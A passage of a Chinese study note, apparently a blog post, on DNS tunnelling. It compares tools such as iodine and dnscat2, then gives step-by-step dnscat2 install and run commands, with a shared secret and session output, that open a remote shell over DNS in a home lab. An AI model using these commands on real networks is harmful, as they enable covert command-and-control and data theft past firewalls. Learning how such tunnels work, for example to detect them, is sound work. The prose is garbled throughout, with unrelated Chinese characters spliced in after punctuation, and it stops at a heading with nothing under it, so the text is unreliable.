一 前言
DNS上節(jié)說(shuō)到运授,主要用來(lái)做域名解析的泉粉,但是黑客卻可以通過(guò)將其他協(xié)議的內(nèi)容封裝再DNS協(xié)議中犹褒,然后通過(guò)DNS請(qǐng)求和響應(yīng)來(lái)傳輸數(shù)據(jù)和完成控制莺奸,DNS服務(wù)作為互聯(lián)網(wǎng)上最普遍的服務(wù),防火墻和入侵檢測(cè)設(shè)備一般都會(huì)放行统抬,這就給黑客們有了可乘之機(jī)火本,以下為學(xué)習(xí)筆記。
二 DNS隧道的方式
2.1 分類
目前DNS隧道目前按照連接方式來(lái)分:直連隧道和中繼隧道聪建。
直連隧道 :用戶直接和控制服務(wù)器通過(guò)DNS連接钙畔,由于直連不經(jīng)過(guò)其他DNS服務(wù)器,所以速度快金麸,但是很多用戶是對(duì)DNS服務(wù)器是有配置要求的擎析,只能配置特定的服務(wù)器,配置其他的DNS服務(wù)器不準(zhǔn)許挥下;另外這種方式由于直接連接的揍魂,很容易暴漏攻擊服務(wù)器。
中繼隧道: 利用DNS迭代查詢方式见秽,中間通過(guò)多個(gè)DNS服務(wù)器的跳轉(zhuǎn)愉烙,跳轉(zhuǎn)到最終的控制機(jī),整個(gè)解析過(guò)程更長(zhǎng)解取,所以性能沒有直連好步责,還要防止DNS緩存。
2.2 開源工具
網(wǎng)上有不少開源工具實(shí)現(xiàn)了DNS的隧道禀苦,對(duì)比如下:
軟件名稱 | 開發(fā)語(yǔ)言 | 特點(diǎn) | 推薦 |
---|---|---|---|
OzymanDNS | perl | 只有最初版本 | 不推薦 |
tcp-over-dns | JAVA | 跨平臺(tái) | 比較老 |
iodine | C | 直連和中繼都支持速度快支持編碼和請(qǐng)求類型 | 推薦 |
dns2tcp | C | 只直連未實(shí)現(xiàn)命令 | 不推薦 |
Dnscat2 | 客戶端C服務(wù)器ruby | 支持加密隧道蔓肯,功能強(qiáng)大 | 推薦 |
2.3 關(guān)鍵技術(shù)
- 在兩種DNS 隧道中,用的最多的是中繼方式振乏,能讓DNS服務(wù)器做遞歸查詢蔗包,則需要每次查詢均采用不同域名的,一句話是每次采用新域名的方式來(lái)保證走DNS查詢慧邮。
- 大多數(shù)場(chǎng)景 是服務(wù)器端沒辦法連客戶端调限,因?yàn)榉阑饓騼?nèi)網(wǎng)原因舟陆,所以多是通過(guò)客戶端定時(shí)連接服務(wù)器端來(lái)保持狀態(tài)。
三 實(shí)踐
為了更好理解軟件工作耻矮,二是為了獲取相關(guān)的報(bào)文秦躯,準(zhǔn)備搭建兩個(gè)嘗試下整個(gè)過(guò)程。
以更常用的Dnscat2為例測(cè)試,我以自己的windows機(jī)器來(lái)作為被控制方裆装,里面的centos機(jī)器作為控制方測(cè)試踱承。
3.1 安裝
#windows下客戶端下載地址
#解壓密碼為password ,windows下只有32位的哨免。
https://downloads.skullsecurity.org/dnscat2/
#linux下服務(wù)器端安裝
#安裝ruby
$ yum install ruby
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
3.2 運(yùn)行
服務(wù)器端為ruby開發(fā)茎活,所以需要先安裝ruby才可以運(yùn)行,因?yàn)橹皇呛?jiǎn)單測(cè)試琢唾,走直連模式载荔,可以直接運(yùn)行:
#缺了不少庫(kù)采用以下方式安裝
gem install ecdsa
gem install sha3
gem install salsa20
gem install trollop
gem install trollop
#服務(wù)器端命令
ruby ./dnscat2.rb --secret 12345
#客戶端命令
./dnscat --dns server=127.0.0.1,port=53 --secret=12345
3.3 遇到問(wèn)題
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
可能原因,默認(rèn)有密碼的是隨機(jī)的采桃,所以最好指定密碼身辨,不然連不上。
/home/miaohq/dns2cat/dnscat2/server/tunnel_drivers/driver_dns.rb:316: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
New window created: 1
/home/miaohq/dns2cat/dnscat2/server/libs/settings.rb:166: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
查了半天竟然是ruby用的版本2.7的問(wèn)題造成的調(diào)用警告芍碧。
輸入:
#進(jìn)入交互狀態(tài)
session -i 1
#輸入shell進(jìn)入交互
command (localhost.localdomain) 1> shell
Sent request to execute a shell
command (localhost.localdomain) 1> New window created: 2
Shell session created!
#看下shell信息
dnscat2> windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = [*]
1 :: command (localhost.localdomain) [encrypted and verified]
2 :: sh (localhost.localdomain) [encrypted and verified] [*]
#切換到shell
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
#輸入命令:
sh (localhost.localdomain) 2> pwd
sh (localhost.localdomain) 2> /home/test/dns2cat/dnscat2/client
簡(jiǎn)單的過(guò)程: